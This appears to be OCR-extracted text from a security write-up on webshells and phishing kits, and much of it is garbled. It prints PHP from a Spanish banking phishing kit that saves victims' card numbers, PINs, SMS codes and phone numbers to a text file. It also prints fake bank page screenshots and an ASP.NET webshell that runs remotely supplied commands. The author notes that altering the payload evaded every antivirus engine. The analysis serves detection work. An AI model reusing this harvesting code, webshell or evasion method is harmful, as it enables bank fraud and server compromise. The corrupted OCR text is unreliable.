6C 65 20 3D 20 66 6F 70 65 6E 28 22 2E 2E 2F 62 ile = fopen("../bl
65 6C 6C 61 2E 74 78 74 22 2C 20 27 61 27 29 3B lella. txt", 'a');!
@D @A 66 77 72 69 74 65 28 24 66 69 6C 65 2C 20 I fwrite($file, .
24 6D 65 73 73 61 67 65 29 3B 0D OA 65 63 68 6F i$message); . .echo!
20 22 3C 73 63 72 69 70 74 3E 77 69 6E 64 6F 77 “ " Zst FIpTsWindow
2E 74 6F 70 2E 6C 6F 63 61 74 69 6F 6E 2E 68 72 .top. location.hr
65 66 20 3D 20 5C 22 43 6F 64 69 67 6F 2E 68 74 ef = \"Codigo.ht
6D 6C 3F 77 65 62 73 72 63 3D 22 2E 6D 64 35 28 ml?websrc=".md5(
27 58 52 41 59 27 29 2E 22 26 64 69 73 70 61 74 'XRAY') . "&dispat
63 68 65 64 3D 22 2E 72 61 6E 64 28 32 30 2C 31 ched=".rand (20,1
30 30 29 2E 22 26 69 64 3D 22 2E 72 61 6E 64 28 00) ."&id=". rand(
31 30 30 30 30 30 30 30 30 30 30 2C 35 30 30 30 10000000000, 5000
3C 3F 0D @A 69 6E 63 6C 75 64 65 20 27 6D 61 69 [ <?..include” ‘mai |

6C 2E 70 68 70 27 3B 0D OA 24 69 70 20 3D 20 67
65 74 65 6E 76 28 22 52 45 4D 4F 54 45 5F 41 44
44 52 22 29 3B @D @A @D @A 24 6D 65 73 73 61 67

l.php';..$ip = g1
etenv("REMOTE_AD:
DR");....$messag

65 20 2E 3D 20 22 5C 6E 22 3B @D QA 24 6D 65 73 e .= "\n";..$mes:
73 61 67 65 20 2E 3D 20 22 5C 6E 22 3B 0D 0A 24 sage .= "\n";..$,
6D 65 73 73 61 67 65 20 2E 3D 20 22 5C 6E 22 3B message .= "\n"; !
0D @A 24 6D 65 73 73 61 67 65 20 2E 3D 20 22 7C ..$message .= "| |
20 49 50 20 3A 20 24 69 70 20 20 20 2D 2D 2D 2D IP : $ip ——1

1

1

1

1

1

1

1

1

1

1

1

:
2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D : i
2D 20 5C 6E 22 3B @D OA 24 6D 65 73 73 61 67 65 1 - \n";..$message ,

1

1

1

1

1

1

1

1

1

1

1

1

1

20 2E 3D 20 22 54 61 72 6A 65 74 61 2F 75 73 75 .= "Tarjeta/usu!
61 72 69 6F 20 3A 20 20 22 2E 24 5F 50 4F 53 54 ario : ".$_POST:
5B 27 63 61 72 64 30 31 27 5D 2E 22 5C 6E 22 3B ['cardel']l."\n"; 1
oD @A 24 6D 65 73 73 61 67 65 20 2E 3D 20 22 50 ..$message .= "P:
49 4E 20 28 63 6F 6E 74 72 61 73 65 F1 61 29 20 IN (contrase.a) 1
3A 20 20 22 2E 24 5F 50 4F 53 54 5B 27 70 69 6E "-$_P05T['pin:
5F 6E 75 6D 62 65 72 27 5D 2E 22 5C 6E 22 3B @D _number'l."\n";.
@A 24 6D 65 73 73 61 67 65 20 2E 3D 20 22 7C 20 .$message .= "| :

1

54 68 65 20 4D 61 73 74 65 72 20 5A 2D 2D 2D 2D The Master Z-————
2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D b 1
5C 6E 22 3B @D 0A 24 6D 65 73 73 61 67 65 20 2E : \n";..$message .
3D 20 22 5C 6E 22 3B @D @A 24 6D 65 73 73 61 67 1= "\n";..$messag
65 20 2E 3D 20 22 5C 6E 22 3B @D QA 24 6D 65 73 | e .= "\n";..$mes

1

1

1

1

1

1

i

sage .= "\n";...,
.$subject = "| /1
| I | 5!
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Attacker creates a complex directory structure, where each .html file is

associated with .php file

html
.pt

SMS tokens:

Posicién " Recibos . e Valores - Planes de Servicios
Cuentas Transferencias Tarjetas  Depésitos Préstamos 3 el
global e impuestos y fondos pensiones méviles
Datos personales oy
Programa Cero Comisiones
Aguarda un momento, por favor !
Operaciones favoritas - = N » . .
El genera un cédigo de simulacién de alerta de cambio de nimero de teléfono Este
Alias codigo sera enviado por SMS con este nimero de su asesor. Debe introducir este cédigo en la siguiente pagina

Ocultar productos
Cambio de idioma
Cambio PIN

Solicitudes

1

Posicién Cuent T f Z Recibos Tarjeta: Depésit Valores Prést: Planes de Servicios
global Uomas R iransorencias By impucatos I oo (LS POR DR B o ndos i e oS N D ensiones. méviles
Datos personales &
Programa Cero Comisiones c°d|g° de confirmacion . .
* Campos obligatorios
Operaciones favoritas
Alias Introduzca el cédigo recibido via SMS y pulse Confirmar.

Ocultar productos

Datos personales

Cambio de idioma

Solicitudes
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Results are saved in a *.txt file

$file = fopen("../bella.txt", 'a');
fwrite($file, $message);

$message .= "| IP : $ip \n";
$message .= "Tarjeta/usuario : ".$_POST['card@1l']."\n";
$message .= "PIN (contrasefia) : ".$_POST['pin_number']."\n";
$message .= "SMS : ".,$_POST['sms']."\n";

$message .= "Teléfono mévil : ".$_POST['num']l."\n";

$message .= "Confirmar mévil : ".$_POST['cnum']l."\n";

$message .= "NUmero de cédigo : ".$_POST['coord_number']."\n";
$message .= "| The Master Z \n";

1l

1l

1l

Conclusion:

Webshells are every where, yet no one knows about them. Many folks that run a SOC, don’t
even know what webshells are. Webshells can go undetected for a very long time. Here is an
example of a webshell that went undetected for more than a year.

http:/ /udurrani.com/ 0fff/ asx.pdf

Let me give you another example. The following, scary webshell was detected by a couple

of AV’s ONLY. I changed the payload and it was able to by-pass all of them.

A7DE23A17F5706D375A46EFA40020852F23792280D76F7638768183B617FA98F

I'DOCTVPE html><htnl xnlns="http://www. w3
Page Languages"c* AutoEuentiirey
5@ Inport Namespace="System.

itle>
alse
ysten.

rg/1999/xhty
ue" Debug rue’ ac
><%@ Inport Namespac

“color:#00F"
ystem.Diagn
script runat

2 engines detected this file °

SHA256  a7de23al
Flename  flle_00003.exe

ections.Generic

="server"s

Flle.GetLastAccsssTlme(spl[O]):F)le.SetLastA(csssTme(sle] dt);dt = File.GetLastWriteTime(spl[@]);File.SetL
astWriteTime(sp t);string rsp = success";Response.Write("4" + Convert.ToBase64String(Encoding.ASCII.G ;
etBytes(rsp)) + else{string rsp + spli@] + "|" + spll1];Response. wme( 4" + Convert.ToBase64Stri 2/59) Lastanalysis  2018-01-10 18:2621 UTC

ng(Encoding.ASCII.GetBytes(rsp)) + "#' f (c.StartsWith("#dp")){string nn = c.Substring(3);}else{strin

g sc = c.Substring(3);string[] e_c = sc.Split(new string(] { “|||" }, StringSplitOptions.None);System.Diagnost

fce-Pracess p = new System.Diagnostice. Process();p.StartInfo. FileNane = e.c(6];p.StartInfo.Useshe UExecute = f

alse;p.StartInfo.RedirectStandardInput = true;p.StartInfo.RedirectStandardOutput = true;p.StartInfo.RedirectSt Detection | Details | Community

andardError = true;p.StartInfo.CreateNoWindow = true;p.Start();p.StandardInput.WriteLine(e_c[1]);p.StandardInp

ut.WriteLine("exit");string os = p.StandardOutput.ReadToEnd();p.WaitForExit();p.Close();string rsp = "0;succes Kaspersky A HEURTOjanWin32 Twoface gen Zonealarm A HEURTojanWin32 Twoface gen
s";string rsp64 Convert.ToB

File size 136K8

Ad-Aware @ clean Registab @ Clear
</script></body></html> 1

. AhnLab-v3 @ cen Avac LE

1 Antiy-AVL @ cen Avcabit @ cex

s sotts omienc v iz T0GS et ML NGO S s STie G
s Soce mmu St -mm fres Gt s Gaters T v

i e s et e s e s i b e e Tairze|| o roeip.StarsingarcrastaNokindon = i seare

: CHANGE THE PAYLOAD

1

v No engines detected this file

</> SHA256 171
HTML Flename  fooaspx

...... a File size 147K8

7BEB867D1944D6E72DFC9092F1BOFA9D1717B3A6B4E76535F9B8D70547CDB52C

\ Lastanalysis ~ 2018-01-10 18:32:30 UTC
OCTYPE html><html xm http: //www w3 0rg/1999/xhtml"><head><tit le></tit le></head><body style "color: #00F" 0/59 )1

Page Language="C#" Au "true" Debug="true" Trace="false" %><%@ Import Namesp ystem.Diagn
%@ Inport Namespace System 10" %><4@ Inport Nanespace="System.Collections.Generic" %><script runat

File. GetLastAccessTine (spl(8] ) File. SetLasthccessTine(spLi1), test);test = File.GetLasturiteTine(spl (0)); File. Detection | Details | Community
SetlastWriteTime(spl[1], test)jstring testStringChange 0001 = "0;success";Response.Write("4" + Convert.ToBase6
ringChange_0001)) + "#" {string testStringChange_0001 = "6;" + spl B .
+ Convert.ToBase64St ring(Encoding.ASCII.GetBytes( testStringChange_0001)) Ad-Aware @ cin Aegistab @ clear
_udp")){string nn = c.Substring(3); string sc = c.Sustring(3);string ]
e_c = sc.Split(new stringl] { "-"}, S(r)ngSDl)tOpUur\s None) ; System.Diagnostics. Process p= System.Diagno AhnLab-v3 @ Clean ALYac @ Clean
Sl)(S.Prﬂ[ESS();p.S(aFtlﬂfO.F)lENEmE = e_c[@];p.StartInfo.UseShellExecute = false;p.StartInfo. REGJ!’E((S!EV\GE!’G

Input = true;p.StartInfo.RedirectStandardOutput = true;p.StartInfo.RedirectStandardError = true;
eateNowindow = true;p.Start();p.StandardInput.WriteLine(e_c(1]);p.StandardInput.WriteL ine("exit
p.StandardOutput.ReadToEnd();p.WaitForExit();p.Close();string testStringChange_0001 =
tringChange_000164 = "3"+ Convert.ToB

StartInfo.Cr
tring os =
istring tests

/script></body></h


http://udurrani.com/0fff/asx.pdf

It’s very important to understand how webshell works and what to look for, when it comes
to webshell(s). In my opinion, relying on signatures is not enough. Instead, go for the execution
flow. When http / https traffic hits your NIC, it some how reaches the application that is
responsible to process the payload. It’s in form of buffers. In most cases webshell will try to
execute a command e.g. DIR, CP, NETSH, NET, POWERSHELL, WSCRIPT etc. In Linux,
commands could be different but idea remains the same. WebApplication will process the request
and spawns the command(s). If this execution is understood, webshell could be detected /

prevented at a very early stage.
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